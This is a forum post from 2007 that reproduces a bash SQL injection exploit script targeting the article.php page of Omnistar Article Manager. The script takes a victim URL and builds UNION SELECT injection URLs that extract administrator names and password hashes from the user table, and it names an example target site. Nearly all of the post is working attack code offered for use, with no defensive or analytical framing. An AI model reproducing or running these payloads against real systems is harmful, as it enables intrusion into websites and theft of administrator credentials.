nullbyte Posted September 17, 2007 Report Posted September 17, 2007 #/bin/bash##################################################################################################################### ## Omnistar Article Manager Software (article.php) Remote SQL Injection Exploit ## ## Exploit Coded By : Cold z3ro ## ## [url]http://Hackteach.org[/url] ## ## ## Exploit : /article.php?op=favorite&article_id=4&page_id=-1'/**/union/**/select/**/name,1/**/from/**/user/* ## /article.php?op=favorite&article_id=4&page_id=-1'/**/union/**/select/**/password,1/**/from/**/user/* ## ## Example : [url]http://demo.hostcontroladmin.com/demo_press2/articles/[/url] ## #####################################################################################################################URL=$1;PATH="$2/";echo -e "\n";echo -e "\n";echo -e "######################################################################################"echo -e "# Omnistar Article Manager Software (article.php) Remote SQL Injection Exploit #"echo -e "# Exploit Coded By By : Cold z3ro #"echo -e "# [url]http://Hackteach.org[/url] #"echo -e "######################################################################################"if [ "$URL" = "" ]; then echo -e "\n USAGE: $0 [URL] [NukePath]" echo -e " Example: $0 [url]www.victim.net[/url] NukePath\n" exitfi;if [ $PATH = "/" ]; then PATH=""; fi;name_query_url="http://$URL/$PATH""article.php?op=favorite&article_id=4&page_id=-1'/**/union/**/select/**/name,1/**/from/**/user/*";password_query_url="http://$URL/$PATH""article.php?op=favorite&article_id=4&page_id=-1'/**/union/**/select/**/password,1/**/from/**/user/*";echo -e "\n";echo -e "\n";echo -e "Direct Query URL For Admin name: \n";echo -e ""$name_query_url"\n";echo -e "\n";echo -e "Direct Query URL For Admin Hash:\n";echo -e ""$password_query_url"\n"; Quote